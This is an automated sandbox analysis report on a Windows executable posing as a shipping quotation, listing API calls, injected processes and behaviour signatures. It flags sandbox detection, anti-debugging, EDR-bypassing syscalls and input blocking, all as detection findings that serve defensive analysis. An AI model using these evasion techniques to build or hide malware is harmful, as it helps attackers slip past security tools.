Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: cmdkey.pdbGCTL source: svchost.exe, 00000001.00000003.11702724830.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11734330614.0000000003200000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11152091635.0000000003DD0000.00000004.00001000.00020000.00000000.sdmp, QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11151732292.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11735251368.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11735251368.0000000003A2D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.11648789785.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.11646044895.0000000003500000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15246648295.000000000384D000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11733827034.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11737430340.0000000003572000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15246648295.0000000003720000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11152091635.0000000003DD0000.00000004.00001000.00020000.00000000.sdmp, QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11151732292.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.11735251368.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11735251368.0000000003A2D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.11648789785.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.11646044895.0000000003500000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, cmdkey.exe, 00000003.00000002.15246648295.000000000384D000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11733827034.00000000033CE000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11737430340.0000000003572000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15246648295.0000000003720000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: cmdkey.pdb source: svchost.exe, 00000001.00000003.11702724830.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.11734330614.0000000003200000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RAVCpl64.exe, 00000002.00000002.16214552888.00000000066DC000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.000000000316D000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000003D4C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.000000000291C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RAVCpl64.exe, 00000002.00000002.16214552888.00000000066DC000.00000004.80000000.00040000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.000000000316D000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15247546664.0000000003D4C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.12026501861.000000000291C000.00000004.80000000.00040000.00000000.sdmp

Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00650A76 push ecx; ret	0_2_00650A89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040505A push cs; iretd	1_2_00405061
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040189C push ss; iretd	1_2_004018A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004180AB push esp; ret	1_2_004180AC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040514D push ds; iretd	1_2_00405171
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00411A63 push ebp; retf	1_2_00411A6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00407270 push 0000006Ch; iretd	1_2_0040727B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418274 push esp; retf	1_2_00418281
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403340 push eax; ret	1_2_00403342
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004174CC push esp; retf	1_2_004174D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004045D4 push esp; iretd	1_2_004045DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00413663 push cs; ret	1_2_00413695
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00417630 push edi; ret	1_2_0041763A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D6A4 push ds; ret	1_2_0040D6B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00404F63 push esi; iretd	1_2_00404F66
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039021AD pushad ; retf 0004h	1_2_0390223F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039308CD push ecx; mov dword ptr [esp], ecx	1_2_039308D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039097A1 push es; iretd	1_2_039097A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C852B4 push edi; ret	1_2_03C852B7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C9124E push ebp; ret	1_2_03C91250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C95042 push eax; ret	1_2_03C95044
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C8753D push edx; iretd	1_2_03C8753E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C854A5 push esp; iretd	1_2_03C854C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C86404 push ecx; ret	1_2_03C86405
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C85B8D push FFFFFFC9h; iretd	1_2_03C85B96
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C84BA2 push esp; iretd	1_2_03C84BA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C8C9AE push eax; retf	1_2_03C8C9B9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C848F7 pushad ; iretd	1_2_03C84902
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C84F53 push ss; retf	1_2_03C84FCF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C8CDEC push esi; retf	1_2_03C8CDF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C85D9C push ecx; iretd	1_2_03C85D9D

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0064F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_0064F98E
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006C1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_006C1C41

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-97010

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	API/Special instruction interceptor: Address: 106CD44
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFCB3EED144
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFCB3EF0594
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFCB3EEFF74
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFCB3EED6C4
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFCB3EED864
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFCB3EED004
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EED144
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EF0594
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EED764
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EED324
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EED364
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EED004
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EEFF74
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EED6C4
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EED864
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFCB3EED604

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0397088E rdtsc

1_2_0397088E

Source: C:\Windows\SysWOW64\cmdkey.exe

Window / User API: threadDelayed 9166

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	API coverage: 3.5 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.9 %
Source: C:\Windows\SysWOW64\cmdkey.exe	API coverage: 1.1 %

Source: C:\Windows\SysWOW64\cmdkey.exe TID: 1416	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 1416	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 1416	Thread sleep count: 9166 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 1416	Thread sleep time: -18332000s >= -30000s	Jump to behavior

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmdkey.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmdkey.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0066C2A2 FindFirstFileExW,	0_2_0066C2A2
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A68EE FindFirstFileW,FindClose,	0_2_006A68EE
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_006A698F
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0069D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0069D076
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0069D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0069D3A9
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_006A9642
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_006A979D
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_006A9B2B
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0069DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0069DBBE
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006A5C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_006A5C97

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Source: cmdkey.exe, 00000003.00000002.15244350653.000000000316D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllb
Source: RAVCpl64.exe, 00000002.00000002.16199147921.000000000059E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000004.00000002.12028192227.0000025D82937000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0397088E rdtsc

1_2_0397088E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417AD3 LdrLoadDll,

1_2_00417AD3

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006AEAA2 BlockInput,

0_2_006AEAA2

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_00662622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00662622

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_00654CE8 mov eax, dword ptr fs:[00000030h]	0_2_00654CE8
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0106CFB0 mov eax, dword ptr fs:[00000030h]	0_2_0106CFB0
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0106D010 mov eax, dword ptr fs:[00000030h]	0_2_0106D010
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_0106B9A0 mov eax, dword ptr fs:[00000030h]	0_2_0106B9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395A390 mov eax, dword ptr fs:[00000030h]	1_2_0395A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395A390 mov eax, dword ptr fs:[00000030h]	1_2_0395A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395A390 mov eax, dword ptr fs:[00000030h]	1_2_0395A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D43BA mov eax, dword ptr fs:[00000030h]	1_2_039D43BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D43BA mov eax, dword ptr fs:[00000030h]	1_2_039D43BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AC3B0 mov eax, dword ptr fs:[00000030h]	1_2_039AC3B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039643D0 mov ecx, dword ptr fs:[00000030h]	1_2_039643D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BE3DD mov eax, dword ptr fs:[00000030h]	1_2_039BE3DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B43D5 mov eax, dword ptr fs:[00000030h]	1_2_039B43D5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E3C0 mov eax, dword ptr fs:[00000030h]	1_2_0392E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E3C0 mov eax, dword ptr fs:[00000030h]	1_2_0392E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E3C0 mov eax, dword ptr fs:[00000030h]	1_2_0392E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392C3C7 mov eax, dword ptr fs:[00000030h]	1_2_0392C3C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039363CB mov eax, dword ptr fs:[00000030h]	1_2_039363CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E310 mov eax, dword ptr fs:[00000030h]	1_2_0394E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E310 mov eax, dword ptr fs:[00000030h]	1_2_0394E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E310 mov eax, dword ptr fs:[00000030h]	1_2_0394E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396631F mov eax, dword ptr fs:[00000030h]	1_2_0396631F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D630E mov eax, dword ptr fs:[00000030h]	1_2_039D630E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968322 mov eax, dword ptr fs:[00000030h]	1_2_03968322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968322 mov eax, dword ptr fs:[00000030h]	1_2_03968322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968322 mov eax, dword ptr fs:[00000030h]	1_2_03968322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E328 mov eax, dword ptr fs:[00000030h]	1_2_0392E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E328 mov eax, dword ptr fs:[00000030h]	1_2_0392E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E328 mov eax, dword ptr fs:[00000030h]	1_2_0392E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A350 mov eax, dword ptr fs:[00000030h]	1_2_0396A350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03928347 mov eax, dword ptr fs:[00000030h]	1_2_03928347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03928347 mov eax, dword ptr fs:[00000030h]	1_2_03928347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03928347 mov eax, dword ptr fs:[00000030h]	1_2_03928347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE372 mov eax, dword ptr fs:[00000030h]	1_2_039AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE372 mov eax, dword ptr fs:[00000030h]	1_2_039AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE372 mov eax, dword ptr fs:[00000030h]	1_2_039AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE372 mov eax, dword ptr fs:[00000030h]	1_2_039AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0371 mov eax, dword ptr fs:[00000030h]	1_2_039B0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0371 mov eax, dword ptr fs:[00000030h]	1_2_039B0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395237A mov eax, dword ptr fs:[00000030h]	1_2_0395237A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E363 mov eax, dword ptr fs:[00000030h]	1_2_0396E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E363 mov eax, dword ptr fs:[00000030h]	1_2_0396E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E363 mov eax, dword ptr fs:[00000030h]	1_2_0396E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E363 mov eax, dword ptr fs:[00000030h]	1_2_0396E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E363 mov eax, dword ptr fs:[00000030h]	1_2_0396E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E363 mov eax, dword ptr fs:[00000030h]	1_2_0396E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E363 mov eax, dword ptr fs:[00000030h]	1_2_0396E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E363 mov eax, dword ptr fs:[00000030h]	1_2_0396E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE289 mov eax, dword ptr fs:[00000030h]	1_2_039AE289
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392C2B0 mov ecx, dword ptr fs:[00000030h]	1_2_0392C2B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039542AF mov eax, dword ptr fs:[00000030h]	1_2_039542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039542AF mov eax, dword ptr fs:[00000030h]	1_2_039542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402F9 mov eax, dword ptr fs:[00000030h]	1_2_039402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402F9 mov eax, dword ptr fs:[00000030h]	1_2_039402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402F9 mov eax, dword ptr fs:[00000030h]	1_2_039402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402F9 mov eax, dword ptr fs:[00000030h]	1_2_039402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402F9 mov eax, dword ptr fs:[00000030h]	1_2_039402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402F9 mov eax, dword ptr fs:[00000030h]	1_2_039402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402F9 mov eax, dword ptr fs:[00000030h]	1_2_039402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039402F9 mov eax, dword ptr fs:[00000030h]	1_2_039402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0393A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0393A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0393A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0393A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0393A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A2E0 mov eax, dword ptr fs:[00000030h]	1_2_0393A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039382E0 mov eax, dword ptr fs:[00000030h]	1_2_039382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039382E0 mov eax, dword ptr fs:[00000030h]	1_2_039382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039382E0 mov eax, dword ptr fs:[00000030h]	1_2_039382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039382E0 mov eax, dword ptr fs:[00000030h]	1_2_039382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392821B mov eax, dword ptr fs:[00000030h]	1_2_0392821B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A200 mov eax, dword ptr fs:[00000030h]	1_2_0392A200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03950230 mov ecx, dword ptr fs:[00000030h]	1_2_03950230
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0227 mov eax, dword ptr fs:[00000030h]	1_2_039B0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0227 mov eax, dword ptr fs:[00000030h]	1_2_039B0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0227 mov eax, dword ptr fs:[00000030h]	1_2_039B0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A22B mov eax, dword ptr fs:[00000030h]	1_2_0396A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A22B mov eax, dword ptr fs:[00000030h]	1_2_0396A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A22B mov eax, dword ptr fs:[00000030h]	1_2_0396A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934180 mov eax, dword ptr fs:[00000030h]	1_2_03934180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934180 mov eax, dword ptr fs:[00000030h]	1_2_03934180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934180 mov eax, dword ptr fs:[00000030h]	1_2_03934180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039641BB mov ecx, dword ptr fs:[00000030h]	1_2_039641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039641BB mov eax, dword ptr fs:[00000030h]	1_2_039641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039641BB mov eax, dword ptr fs:[00000030h]	1_2_039641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E1A4 mov eax, dword ptr fs:[00000030h]	1_2_0396E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E1A4 mov eax, dword ptr fs:[00000030h]	1_2_0396E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039401C0 mov eax, dword ptr fs:[00000030h]	1_2_039401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039401C0 mov eax, dword ptr fs:[00000030h]	1_2_039401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039401F1 mov eax, dword ptr fs:[00000030h]	1_2_039401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039401F1 mov eax, dword ptr fs:[00000030h]	1_2_039401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039401F1 mov eax, dword ptr fs:[00000030h]	1_2_039401F1
